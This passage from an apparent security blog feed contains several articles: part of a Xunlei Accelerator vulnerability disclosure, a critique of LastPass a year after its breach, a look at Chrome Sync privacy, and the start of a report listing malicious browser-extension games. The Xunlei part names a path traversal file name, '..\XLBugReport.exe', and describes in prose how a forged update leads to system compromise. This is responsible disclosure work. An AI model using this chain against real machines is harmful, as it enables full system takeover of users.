decided to implement their own HTTP client for their downloads. In fact, they’ve implemented a number of different HTTP clients instead of using any of the options available via the Windows API for example. Some of these HTTP clients are so limited that they cannot even parse uncommon server responses, much less support TLS. Others support TLS but use their own list of CA certificates which happens to be Mozilla’s list from 2016 (yes, that’s almost eight years old).</p> <p>Another common issue is that almost all these various update mechanisms run as part of the regular application process, meaning that they only have user’s privileges. How do they manage to write to the application directory then? Well, Xunlei solved this issue: they made the application directory writable with user’s privileges! Another security mechanism successfully dismantled. And there is a bonus: they can store application data in the same directory rather than resorting to per-user nonsense like AppData.</p> <p>Altogether, you better don’t run Xunlei Accelerator on untrusted networks (meaning: any of them?). Anyone on your network or anyone who manages to insert themselves into the path between you and the Xunlei update server will be able to manipulate the server response. As a result, the application will install a malicious plugin without you even noticing anything.</p> <p>You also better don’t run Xunlei Accelerator on a computer that you share with other people. Anyone on a shared computer will be able to add malicious components to the Xunlei application, so next time you run it your user account will be compromised.</p> <h3 id="example-scenario-xlserviceplatform">Example scenario: XLServicePlatform</h3> <p>I decided to focus on XLServicePlatform because, unlike all the other plugin management systems, this one runs with system privileges. That’s because it’s a system service and any installed plugins will be loaded as dynamic libraries into this service process. Clearly, injecting a malicious plugin here would result in full system compromise.</p> <p>The management service downloads the plugin configuration from <code>http://plugin.pc.xunlei.com/config/XLServicePlatform_12.0.3.xml</code>. Yes, no TLS encryption here because the “HTTP client” in question isn’t capable of TLS. So anyone on the same WiFi network as you for example could redirect this request and give you a malicious response.</p> <p>In fact, that HTTP client was rather badly written, and I found multiple Out-of-Bounds Read vulnerabilities despite not actively looking for them. It was fairly easy to crash the service with an unexpected response.</p> <p>But it wasn’t just that. The XML response was parsed using libexpat 2.1.0. With that version being released more than ten years ago, there are numerous known vulnerabilities, including a number of critical remote code execution vulnerabilities.</p> <p>I generally leave binary exploitation to other people however. Continuing with the high-level issues, a malicious plugin configuration will result in a DLL or EXE file being downloaded, yet it won’t run. There is a working security mechanism here: these files need a valid code signature issued to Shenzhen Thunder Networking Technologies Ltd.</p> <p>But it still downloads. And there is our old friend: a path traversal vulnerability. Choosing the file name <code>..\XLBugReport.exe</code> for that plugin will overwrite the legitimate bug reporter used by the Xunlei service. And crashing the service with a malicious server response will then run this trojanized bug reporter, with system privileges.</p> <p>My proof of concept exploit merely created a file in the <code>C:\Windows</code> directory, just to demonstrate that it runs with sufficient privileges to do it. But we are talking about complete system compromise here.</p> <h3 id="the-lack-of-fixes-1">The (lack of?) fixes</h3> <p>At the time of writing, XLServicePlatform still uses its own HTTP client to download plugins which still doesn’t implement TLS support. Server responses are still parsed using libexpat 2.1.0. Presumably, the Out-of-Bounds Read and Path Traversal vulnerabilities have been resolved but verifying that would take more time than I am willing to invest.</p> <p>The application will still render its directory writable for all users. It will also produce a number of unencrypted HTTP requests, including some that are related to downloading application components.</p> <h2 id="outdated-components">Outdated components</h2> <p>I’ve already mentioned the browser being based on an outdated Chromium version, the main application being built on top of an outdated Electron platform and a ten years old XML library being widely used throughout the application. This isn’t by any means the end of it however. The application packages lots of third-party components, and the general approach appears to be that none of them are ever updated.</p> <p>Take for example the media player XMP a.k.a. Thunder Video which is installed as part of the application and can be started via a <code>thunderx://</code> address from any website. This is also an Electron-based application, but it’s based on an even older Electron 59.0.3071.115 (released in June 2017). The playback functionality seems to be based on the APlayer SDK which Xunlei provides for free for other applications to use.</p> <p>Now you might know that media codecs are extremely complicated pieces of software that are known for disastrous security issues. That’s why web browsers are very careful about which media codecs they include. Yet APlayer SDK features media codecs that have been discontinued more than a decade ago as well as some so ancient that I cannot even figure out who developed them originally. There is FFmpeg 2021-06-30 (likely a snapshot around version 4.4.4), which has <a href="https://ffmpeg.org/security.html">dozens of known vulnerabilities</a>. There is libpng 1.0.56, which was released in July 2011 and is <a href="http://www.libpng.org/pub/png/libpng.html">affected by seven known vulnerabilities</a>. Last but not least, there is zlib 1.2.8-4 which was released in 2015 and is affected by at least two critical vulnerabilities. These are only some examples.</p> <p>So there is a very real threat that Xunlei users might get compromised via a malicious media file, either because they were tricked into opening it with Xunlei’s video player, or because a website used one of several possible ways to open it automatically.</p> <p>As of Xunlei Accelerator 12.0.8.2392, I could not notice any updates to these components.</p> <h2 id="reporting-the-issues">Reporting the issues</h2> <p>Reporting security vulnerabilities is usually quite an adventure, and the language barrier doesn’t make it any better. So I was pleasantly surprised to discover <a href="https://security.xunlei.com/">XunLei Security Response Center</a> that was even discoverable via an English-language search thanks to the site heading being translated.</p> <p>Unfortunately, there was a roadblock: submitting a vulnerability is only possible after logging in via WeChat or QQ. While these social networks are immensely popular in China, creating an account from outside China proved close to impossible. I’ve spent way too much time on verifying that.</p> <p>That’s when I took a closer look and discovered an email address listed on the page as fallback for people who are unable to log in. So I’ve sent altogether five vulnerability reports on 2023-12-06 and 2023-12-07. The number of reported vulnerabilities was actually higher because the reports typically combined multiple vulnerabilities. The reports mentioned 2024-03-06 as publication deadline.</p> <p>I received a response a day later, on 2023-12-08:</p> <blockquote> <p>Thank you very much for your vulnerability submission. XunLei Security Response Center has received your report. Once we have successfully reproduced the vulnerability, we will be in contact with you.</p> </blockquote> <p>Just like most companies, they did not actually contact me again. I saw my proof of concept pages being accessed, so I assumed that the issues are being worked on and did not inquire further. Still, on 2024-02-10 I sent a reminder that the publication deadline was only a month away. I do this because in my experience companies will often “forget” about the deadline otherwise (more likely: they assume that I’m not being serious about it).</p> <p>I received another laconic reply a week later which read:</p> <blockquote> <p>XunLei Security Response Center has verified the vulnerabilities, but the vulnerabilities have not been fully repaired.</p> </blockquote> <p>That was the end of the communication. I don’t really know what Xunlei considers fixed and what they still plan to do. Whatever I could tell about the fixes here has been pieced together from looking at the current software release and might not be entirely correct.</p> <p>It does not appear that Xunlei released any further updates in the month after this communication. Given the nature of the application with its various plugin systems, I cannot be entirely certain however.</p> A year after the disastrous breach, LastPass has not improved https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/ Tue, 05 Sep 2023 16:59:32 +0200 https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/ <p>In September last year, a breach at LastPass’ parent company GoTo (formerly LogMeIn) culminated in attackers siphoning out all data from their servers. The criticism from the security community has been massive. This was not so much because of the breach itself, such things happen, but because of the many obvious ways in which LastPass made matters worse: taking months to notify users, failing to provide useful mitigation instructions, downplaying the severity of the attack, ignoring technical issues which have been publicized years ago and made the attackers’ job much easier. The list goes on.</p> <p>Now this has been almost a year ago. LastPass promised to improve, both as far as their communication goes and on the technical side of things. So let’s take a look at whether they managed to deliver.</p> <p>TL;DR: They didn’t. So far I failed to find evidence of any improvements whatsoever.</p> <p><strong>Update</strong> (2023-09-26): It looks like at least the issues listed under “Secure settings” are finally going to be addressed.</p> <figure><img src="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/ship.jpg" class="article-image" alt="A very battered ship with torn sails in a stormy sea, on its side the ship’s name: LastPass" width="600" height="336" /></figure> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#the-communication">The communication</a> <ul> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#the-initial-advisory">The initial advisory</a></li> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#the-detailed-advisory">The detailed advisory</a></li> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#improvements">Improvements?</a></li> </ul> </li> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#secure-settings">Secure settings</a> <ul> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#the-issue">The issue</a></li> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#improvements-1">Improvements?</a></li> </ul> </li> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#unencrypted-data">Unencrypted data</a> <ul> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#the-issue-1">The issue</a></li> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#improvements-2">Improvements?</a></li> </ul> </li> <li><a href="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/#conclusions">Conclusions</a></li> </ul> </nav> </div> <h2 id="the-communication">The communication</h2> <h3 id="the-initial-advisory">The initial advisory</h3> <p>LastPass’ initial communication around the breach has been nothing short of a disaster. It happened more than three months after the users’ data was extracted from LastPass servers. Yet rather than taking responsibility and helping affected users, their PR statement was <a href="https://palant.info/2022/12/26/whats-in-a-pr-statement-lastpass-breach-explained/">designed to downplay and to shift blame</a>. For example, it talked a lot about LastPass’ secure default settings but failed to mention that LastPass never really enforced those. In fact, people who created their accounts a while ago and used very outdated (insecure) settings never saw as much as a warning.</p> <p>The statement concluded with “There are no recommended actions that you need to take at this time.” I called this phrase “gross negligence” back when I initially wrote about it, and I still stand by this assessment.</p> <h3 id="the-detailed-advisory">The detailed advisory</h3> <p>It took LastPass another two months of strict radio silence to publish a more detailed advisory. That’s where we finally <a href="https://palant.info/2023/02/28/lastpass-breach-update-the-few-additional-bits-of-information/">learned some more about the breach</a>. We also learned that business customers using Federated Login are <a href="https://medium.com/@chaim_sanders/its-all-bad-news-an-update-on-how-the-lastpass-breach-affects-lastpass-sso-9b4fa64466f6">very much affected by the breach</a>, the previous advisory explicitly denied that.</p> <p>But even now, we learn that indirectly, in recommendation 9 out of 10 for LastPass’ business customers. It seems that LastPass considered generic stuff like advice on protecting against phishing attacks more important than mitigation of their breach. And then the recommendation didn’t actually say “You are in danger. Rotate K2 ASAP.” Instead, it said “If, based on your security posture or risk tolerance, you decide to rotate the K1 and K2 split knowledge components…” That’s the conclusion of a large pile of text essentially claiming that there is no risk.</p> <p>At least the <a href="https://support.lastpass.com/s/document-item?language=en_US&amp;bundleId=lastpass&amp;topicId=LastPass/security-bulletin-recommended-actions-free-premium-families.html&amp;_LANG=enus">advisory for individual users</a> got the priorities right. It was master password first, iterations count after that, and all the generic advice at the end.</p> <p>Except: they still failed to admit the scope of the breach. The advice was:</p> <blockquote> <p>Depending on the length and complexity of your master password and iteration count setting, you may want to reset your master password.</p> </blockquote> <p>And this is just wrong. The breach already happened. Resetting the master password will help protect against future breaches, but it won’t help with the passwords already compromised. This advice should have really been:</p> <blockquote> <p>Depending on the length and complexity of your master password and iteration count setting, you may want to reset all your passwords.</p> </blockquote> <p>But this would amount to saying “we screwed up big time.” Which they definitely did. But they still wouldn’t admit it.</p> <h3 id="improvements">Improvements?</h3> <p>A <a href="https://blog.lastpass.com/2023/03/security-incident-update-recommended-actions/">blog post by the LastPass CEO Karin Toubba</a> said:</p> <blockquote> <p>I acknowledge our customers’ frustration with our inability to communicate more immediately, more clearly, and more comprehensively throughout this event. I accept the criticism and take full responsibility. We have learned a great deal and are committed to communicating more effectively going forward.</p> </blockquote> <p>As I’ve outlined above, the detailed advisory published simultaneously with this blog post still left a lot to be desired. But this sounds like a commitment to improve. So maybe some better advice has been published in the six months which passed since then?</p> <p>No, this doesn’t appear to be the case. Instead, the detailed advisory moved to the “Get Started – About LastPass” section of their support page. So it’s now considered generic advice for LastPass users. Any specific advice on mitigating the fallout of the breach, assuming that it isn’t too late already? There doesn’t seem to be any.</p> <p>The LastPass blog has been publishing lots of articles again, often multiple per week. There doesn’t appear to be any useful information at all here however, only PR. To add insult to injury, LastPass published an article in July titled “How Zero Knowledge Keeps Passwords Safe.” It gives a generic overview of zero knowledge which largely doesn’t apply to LastPass. It concludes with:</p> <blockquote> <p>For example, zero-knowledge means that no one has access to your master password for LastPass or the data stored in your LastPass vault, except you (not even LastPass).</p> </blockquote> <p>This is bullshit. That’s not how LastPass has been designed, and I <a href="https://palant.info/2018/07/09/is-your-lastpass-data-really-safe-in-the-encrypted-online-vault/">wrote about it five years ago</a>. Other people did as well. LastPass didn’t care, otherwise this breach wouldn’t have been such a disaster.</p> <h2 id="secure-settings">Secure settings</h2> <h3 id="the-issue">The issue</h3> <p>LastPass likes to boast how their default settings are perfectly secure. But even assuming that this is true, what about the people who do not use their defaults? For example the people who created their LastPass account a long time ago, back when the defaults were different?</p> <p>The iterations count is <a href="https://palant.info/2022/12/28/lastpass-breach-the-significance-of-these-password-iterations/">particularly important</a>. Few people have heard about it, it being hidden under “Advanced Settings.” Yet when someone tries to decrypt your passwords, this value is an extremely important factor. A high value makes successful decryption much less likely.</p> <p>As of 2023, the current default value is 600,000 iterations. Before the breach the default used to be 100,100 iterations, making decryption of passwords six times faster. And before 2018 it was 5,000 iterations. Before 2013 it was 500. And before 2012 the default was 1 iteration.</p> <p>What happened to all the accounts which were created with the old defaults? It appears that for most of these LastPass failed to fix the settings automatically. People didn’t even receive a warning. So when the breach happened, quite a few users reported having their account configured with 1 iteration, massively weakening the protection provided by the encryption.</p> <p>It’s the same with the master password. In 2018 LastPass introduced much stricter master password rules, requiring at least 12 characters. While I don’t consider length-based criteria very effective to guide users towards secure passwords, LastPass failed to enforce even this rule for existing accounts. Quite a few people first learned about the new password complexity requirement when reading about the breach.</p> <h3 id="improvements-1">Improvements?</h3> <p>I originally <a href="https://palant.info/2022/12/28/lastpass-breach-the-significance-of-these-password-iterations/#how-did-the-low-iteration-numbers-come-about">asked LastPass about enforcing a secure iterations count setting for existing accounts</a> in February 2018. LastPass kept stalling until I published <a href="https://palant.info/2018/07/09/is-your-lastpass-data-really-safe-in-the-encrypted-online-vault/">my research</a> without making certain that all users are secure. And they ignored this issue another four years until the breach happened.</p> <p>And while the breach prompted LastPass to increase the default iterations count, they appear to be still ignoring existing accounts. I just logged into my test account and checked the settings:</p> <figure><img src="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/iterations.png" class="article-image" alt="Screenshot of LastPass settings. “Password Iterations” setting is set to 5000." width="669" height="139" /></figure> <p>There is no warning whatsoever. Only if I try to change this setting, a message pops up:</p> <blockquote> <p>For your security, your master password iteration value must meet the LastPass minimum requirement: 600000</p> </blockquote> <p>But people who are unaware of this setting will not be warned. And while LastPass definitely could update this setting automatically when people log in, they still choose not to do it for some reason.</p> <p>It’s the same with the master password. The password of my test account is weak because this account has been created years ago. If I try to change it, I will be forced to choose a password that is at least 12 characters long. But as long as I just keep using the same password, LastPass won’t force me to change it – even though it definitely could.</p> <p>There isn’t even a definitive warning when I log in. There is only this notification in the menu:</p> <figure><img src="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/menu.png" class="article-image" alt="Screenshot of the LastPass menu. Security Dashboard has a red dot on its icon." width="276" height="203" /></figure> <p>Only after clicking “Security Dashboard” will a warning message show up:</p> <figure><img src="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/alert.png" class="article-image" alt="Screenshot of a LastPass message titled “Master password alert.” The message text says: “Master password strength: Weak (50%). For your protection, change your master password immediately.” Below it a red button titled “Change password.”" width="496" height="277" /></figure> <p>If this is such a critical issue that I need to change my master password immediately, why won’t LastPass just tell me to do it when I log in?</p> <p>This alert message apparently pre-dates the breach, so there don’t seem to be any improvements in this area either.</p> <p><strong>Update</strong> (2023-09-26): Last week LastPass sent out an email to all users:</p> <figure><img src="https://palant.info/2023/09/05/a-year-after-the-disastrous-breach-lastpass-has-not-improved/email.png" class="article-image" alt="New master password requirements. LastPass is changing master password requirements for all users: all master passwords must meet a 12-character minimum. If your master password is less than 12-characters, you will be required to update it." width="534" height="185" /></figure> <p>According to this email, LastPass will start enforcing stronger master passwords at some unspecified point in future. Currently, this requirement is still not being enforced, and the email does not list a timeline for this change.</p> <p>More importantly, when I logged into my LastPass account after receiving this email, the iterations count finally got automatically updated to 600,000. The email does not mention any changes in this area, so it’s unclear whether this change is being applied to all LastPass accounts this time.</p> <p>Brian Krebs is <a href="https://infosec.exchange/@briankrebs/111111474807762193">quoting LastPass CEO</a> with the statement: “We have been able to determine that a small percentage of customers have items in their vaults that are corrupt and when we previously utilized automated scripts designed to re-encrypt vaults when the master password or iteration count is changed, they did not complete.” Quite frankly, I find this explanation rather doubtful.</p> <p>First of all, reactions to my articles indicate that the percentage of old LastPass accounts which weren’t updated is far from small. There are lots of users finding an outdated iterations count configured in their accounts, yet only two reported their accounts being automatically updated so far.</p> <p>Second: my test account in particular is unlikely to contain “corrupted items” which previously prevented the update. Back in 2018 I changed the iterations count to 100,000 and back to 5,000 manually. This worked correctly, so no corruption was present at that point. The account was virtually unused after that except for occasional logins, no data changes.</p> <h2 id="unencrypted-data">Unencrypted data</h2> <h3 id="the-issue-1">The issue</h3> <p>LastPass PR likes to use “secure vault” as a description of LastPass data storage. This implies that all data is secured (encrypted) and cannot be retrieved without the knowledge of the master password. But that’s not the case with LastPass.</p> <p>LastPass encrypts passwords, user names and a few other pieces of data. Everything else is unencrypted, in particular website addresses and metadata. That’s a very bad idea, as security researchers kept pointing out again and again. In <a href="https://www.blackhat.com/docs/eu-15/materials/eu-15-Vigo-Even-The-Lastpass-Will-Be-Stolen-deal-with-it.pdf">November 2015</a> (page 67). In <a href="https://hackernoon.com/psa-lastpass-does-not-encrypt-everything-in-your-vault-8722d69b2032">January 2017</a>. In <a href="https://palant.info/2018/07/09/is-your-lastpass-data-really-safe-in-the-encrypted-online-vault/#the-encrypted-vault-myth">July 2018</a>. And there are probably more.</p> <p>LastPass kept ignoring this issue. So when last year their data leaked, the attackers gained not only encrypted passwords but also plenty of plaintext data. Which LastPass was forced to admit but once again downplayed by claiming website addresses not to be sensitive data. And users were rightfully outraged.</p> <h3 id="improvements-2">Improvements?</h3> <p>Today I logged into my LastPass account and then opened <code>https://lastpass.com/getaccts.php</code>. This gives you the XML representation of your LastPass data as it is stored on the server. And I fail to see any improvements compared to this data one year ago. I gave LastPass the benefit of the doubt and created a new account record. Still:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="nt">&lt;account</span> <span class="na">url=</span><span class="s">&#34;68747470733a2f2f746573742e6465&#34;</span> <span class="na">last_modified=</span><span class="s">&#34;1693940903&#34;</span> <span class="err">…</span><span class="nt">&gt;</span> </span></span></code></pre></div><p>The data in the <code>url</code> field is merely hex-encoded which can be easily translated back into <code>https://test.de</code>. And the <code>last_modified</code> field is a Unix timestamp, no encryption here either.</p> <h2 id="conclusions">Conclusions</h2> <p>A year after the breach, LastPass still hasn’t provided their customers with useful instructions on mitigating the breach, nor has it admitted the full scope of the breach. They also failed to address any of the long-standing issues that security researchers have been warning about for years. At the time of writing, owners of older LastPass accounts still have to become active on their own in order to fix outdated security settings. And much of LastPass data isn’t being encrypted.</p> <p>I honestly cannot explain LastPass’ denial to fix security settings of existing accounts. Back when I was nagging them about it, they straight out lied to me. Don’t they have any senior engineers on staff, so that nobody can implement this change? Do they really not care as long as they can blame the users for not updating their settings? Beats me.</p> <p>As to not encrypting all the data, I am starting to suspect that LastPass actually wants visibility into your data. Do they need to know which websites you have accounts on in order to guide some business decisions? Or are they making additional income by selling this data? I don’t know, but LastPass persistently ignoring this issue makes me suspicious.</p> <p>Either way, it seems that LastPass considers the matter of their breach closed. They published their advisory in March this year, and that’s it. Supposedly, they improved the security of their infrastructure, which nobody can verify of course. There is nothing else coming, no more communication and no technical improvements. Now they will only be publishing more lies about “zero knowledge architecture.”</p> Chrome Sync privacy is still very bad https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/ Tue, 29 Aug 2023 14:28:44 +0200 https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/ <p>Five years ago I wrote <a href="https://palant.info/2018/03/13/can-chrome-sync-or-firefox-sync-be-trusted-with-sensitive-data/">an article about the shortcomings of Chrome Sync</a> (as well as a minor issue with Firefox Sync). Now Chrome Sync has seen many improvements since then. So time seems right for me to revisit it and to see whether it respects your privacy now.</p> <p>Spoiler: No, it doesn’t. It improved, but that’s an improvement from outright horrible to merely very bad. The good news: today you can use Chrome Sync in a way that preserves your privacy. Google however isn’t interested in helping you figure out how to do it.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/#the-default-flow">The default flow</a></li> <li><a href="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/#the-privacy-preserving-flow">The privacy-preserving flow</a></li> <li><a href="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/#what-does-google-do-with-your-data">What does Google do with your data?</a></li> <li><a href="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/#it-could-have-been-worse">It could have been worse</a></li> <li><a href="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/#comparison-to-firefox-sync">Comparison to Firefox Sync</a></li> </ul> </nav> </div> <h2 id="the-default-flow">The default flow</h2> <p>Chrome Sync isn’t some obscure feature of Google Chrome. In fact, as of Chrome 116 setting up sync is part of the suggested setup when you first install the browser:</p> <figure><img src="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/welcome.png" class="article-image" alt="Screenshot of Chrome’s welcome screen with the text “Sign in and turn on sync to get your bookmarks, passwords and more on all devices. Your Chrome, Everywhere” and the highlighted button saying “Continue.”" width="823" height="342" /></figure> <p>Clicking “Continue” will ask you to log into your Google account after which you are suggested to turn on sync:</p> <figure><img src="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/sync_setup.png" class="article-image" alt="A prompt titled “Turn on sync.” The text below says: “You can always choose what to sync in settings. Google may personalize Search and other services based on your history.” The prompt has the buttons Settings, Cancel and (highlighted) Yes, I’m in." width="488" height="409" /></figure> <p>Did you click the suggested “Yes, I’m in” button here? Then you’ve already lost. You just allowed Chrome to upload your data to Google servers, without any encryption. Your passwords, browsing history, bookmarks, open tabs? They are no longer yours only, you allowed Google to access them. Didn’t you notice the “Google may personalize Search and other services based on your history” text in the prompt?</p> <p>In case you have any doubts, this setting (which is off by default) gets turned on when you click “Yes, I’m in”:</p> <figure><img src="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/url_upload.png" class="article-image" alt="Screenshot of Chrome’s setting titled “Make searches and browsing better” with the explanation text “Sends URLs of pages you visit to Google.” The setting is turned on." width="636" height="72" /></figure> <p>Yes, Google is definitely watching over your shoulder now.</p> <h2 id="the-privacy-preserving-flow">The privacy-preserving flow</h2> <p>Now there is a way for you to use Chrome Sync and keep your privacy. In the prompt above, you should have clicked “Settings.” Which would have given you this page:</p> <figure><img src="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/settings.png" class="article-image" alt="A message saying “Setup in progress” along with buttons “Cancel” and “Confirm.” Below it Chrome settings, featuring “Sync” and “Other services” sections." width="671" height="754" /></figure> <p>Do you see what you need to do here before confirming? Anyone? Right, “Make searches and browsing better” option has already been turned on and needs to be switched off. But that isn’t the main issue.</p> <p>“Encryption options” is what you need to look into. Don’t trust the claim that Chrome is encrypting your data, expand this section.</p> <figure><img src="https://palant.info/2023/08/29/chrome-sync-privacy-is-still-very-bad/encryption_settings.png" class="article-image" alt="The selected option says “Encrypt synced passwords with your Google Account.” The other option is “Encrypt synced data with your own sync passphrase. This doesn&#39;t include payment methods and addresses from Google Pay.”" width="609" height="153" /></figure> <p>That default option sounds sorta nice, right? What it means however is: “Whatever encryption there might be, we get to see your data whenever we want it. But you trust us not to peek, right?” The correct answer is “No” by the way, as Google is certain to monetize your browsing history at the very least. And even if you trust Google to do no evil, do you also trust your government? Because often enough Google will hand over your data to local authorities.</p> <p>The right way to use Chrome Sync is to set up a passphrase here. This will make sure that most of your data is safely encrypted (payment data being a notable exception), so that neither Google nor anyone else with access to Google servers can read it.</p> <h2 id="what-does-google-do-with-your-data">What does Google do with your data?</h2> <p>Deep in Chrome’s privacy policy is a section called <a href="https://www.google.com/chrome/privacy/#how-chrome-handles-your-signed-in-information">How Chrome handles your synced information</a>. That’s where you get some hints towards how your data is being used. In particular:</p> <blockquote> <p>If you don&rsquo;t use your Chrome data to personalize your Google experience outside of Chrome, Google will only use your Chrome data after it&rsquo;s anonymized and aggregated with data from other users.</p> </blockquote> <p>So Google will use the data for personalization. But even if you opt out of this personalization, they will still use your “anonymized and aggregated” data. As seen before, promises to anonymize and aggregate data <a href="https://palant.info/2020/02/18/insights-from-avast/jumpshot-data-pitfalls-of-data-anonymization/">cannot necessarily be trusted</a>. Even if Google is serious about this, proper anonymization is difficult to achieve.</p> <p>So how do you make sure that Google doesn’t use your data at all?</p> <blockquote> <p>If you would like to use Google&rsquo;s cloud to store and sync your Chrome data but you don&rsquo;t want Google to access the data, you can encrypt your synced Chrome data with your own sync passphrase.</p> </blockquote> <p>Yes, sync passphrase it is. This phrase is the closest thing I could find towards endorsing sync passphrases, hidden in a document that almost nobody reads.</p> <p>This makes perfect sense of course. Google has no interest in helping you protect your data. They rather want you to share your data with them, so that Google can profit off it.</p> <h2 id="it-could-have-been-worse">It could have been worse</h2> <p>Yes, it could have been worse. In fact, it <em>was</em> worse.</p> <p>Chrome Sync used to enable immediately when you signed into Chrome, without any further action from you. It also used to upload your data unencrypted before you had a chance to change the settings. Besides, the sync passphrase would only result in passwords being encrypted and none of the other data. And there used to be a warning scaring people away from setting a sync passphrase because it wouldn’t allow Google to display your passwords online. And the encryption was <a href="https://palant.info/2018/03/13/can-chrome-sync-or-firefox-sync-be-trusted-with-sensitive-data/#chrome-sync">horribly misimplemented</a>.</p> <p>If you look at it this way, there have been considerable improvements to Chrome Sync over the past five years. But it still isn’t resembling a service meant to respect users’ privacy. That’s by design of course: Google really doesn’t want you to use effective protection for your data. That data is their profits.</p> <h2 id="comparison-to-firefox-sync">Comparison to Firefox Sync</h2> <p>I suspect that people skimming my <a href="https://palant.info/2018/03/13/can-chrome-sync-or-firefox-sync-be-trusted-with-sensitive-data/">previous article on the topic</a> took away from it something like “both Chrome Sync and Firefox Sync have issues, but Chrome fixed theirs.” Nothing could be further from the truth.</p> <p>While Chrome did improve, they are still nowhere close to where Firefox Sync started off. Thing is: Firefox Sync was built with privacy in mind. It was encrypting all data from the very start, by default. Mozilla’s goal was never monetizing this data.</p> <p>Google on the other hand built a sync service that allowed them to collect all of users’ data, with a tiny encryption shim on top of it. Outside pressure seems to have forced them to make Chrome Sync encryption actually usable. But they really don’t want you to use this, and their user interface design makes that very clear.</p> <p>Given that, the Firefox Sync issue I pointed out is comparably minor. It isn’t great that five years weren’t enough to address it. This isn’t a reason to discourage people from using Firefox Sync however.</p> Why browser extension games need access to all websites https://palant.info/2023/06/14/why-browser-extension-games-need-access-to-all-websites/ Wed, 14 Jun 2023 16:18:00 +0200 https://palant.info/2023/06/14/why-browser-extension-games-need-access-to-all-websites/ <p>When installing browser extensions in Google Chrome, you are asked to confirm the extension’s permissions. In theory, this is supposed to allow assessing the risk associated with an extension. In reality however, users typically lack the knowledge to properly interpret this prompt. For example, I’ve often <a href="https://palant.info/2016/07/02/why-mozilla-shouldn-t-copy-chrome-s-permission-prompt-for-extensions/#informed-decisions">seen users accusing extension developers of spying just because the prompt says they <em>could</em></a>.</p> <figure><img src="https://palant.info/2023/06/14/why-browser-extension-games-need-access-to-all-websites/permission_prompt.png" class="article-image" alt="A browser prompt titled: “Add Vex 4 Unblocked game?” The text below: “It can: Read and change all your data on all websites”" width="600" height="337" /></figure> <p>On the other hand, people will often accept these cryptic prompts without thinking twice. They expect the browser vendors to keep them out of harm’s way, trust that isn’t always justified <a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/">[1]</a> <a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/">[2]</a> <a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/">[3]</a>. The most extreme scenario here is casual games not interacting with the web at all, yet requesting access to all websites. I found a number of extensions that will abuse this power to hijack websites.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/06/14/why-browser-extension-games-need-access-to-all-websites/#the-affected-extensions">The affected extensions</a></li> <li><a href="https://palant.info/2023/06/14/why-browser-extension-games-need-access-to-all-websites/#false-pretenses">False pretenses</a></li> <li><a href="https://palant.info/2023/06/14/why-browser-extension-games-need-access-to-all-websites/#search-hijacking">Search hijacking</a></li> <li><a href="https://palant.info/2023/06/14/why-browser-extension-games-need-access-to-all-websites/#code-injection">Code injection</a></li> </ul> </nav> </div> <h2 id="the-affected-extensions">The affected extensions</h2> <p>The extensions listed below belong to three independent groups. Each group is indicated in the “Issue” column and explained in more detail in a dedicated section below.</p> <p>As the extension IDs are getting too many, I created a repository where I <a href="https://github.com/palant/malicious-extensions-list/blob/main/list.txt">list the IDs from all articles in this series</a>. There is also a <a href="https://github.com/palant/malicious-extensions-list/releases/">check-extensions utility available for download</a> that will search local browser profiles for these extensions.</p> <p>Extensions in Chrome Web Store:</p> <table> <thead> <tr> <th>Name</th> <th style="text-align:right">Weekly active users</th> <th>Extension ID</th> <th>Issue</th> </tr> </thead> <tbody> <tr> <td>2048 Classic Game</td> <td style="text-align:right">486,569</td> <td>kgfeiebnfmmfpomhochmlfmdmjmfedfj</td> <td>False pretenses</td> </tr> <tr> <td>Tetris Classic</td> <td style="text-align:right">461,812</td> <td>pmlcjncilaaaemknfefmegedhcgelmee</td> <td>False pretenses</td> </tr> <tr> <td>Doodle Jump original</td> <td style="text-align:right">431,236</td> <td>ohdgnoepeabcfdkboidmaedenahioohf</td> <td>Search hijacking</td> </tr> <tr> <td>Doodle Jump 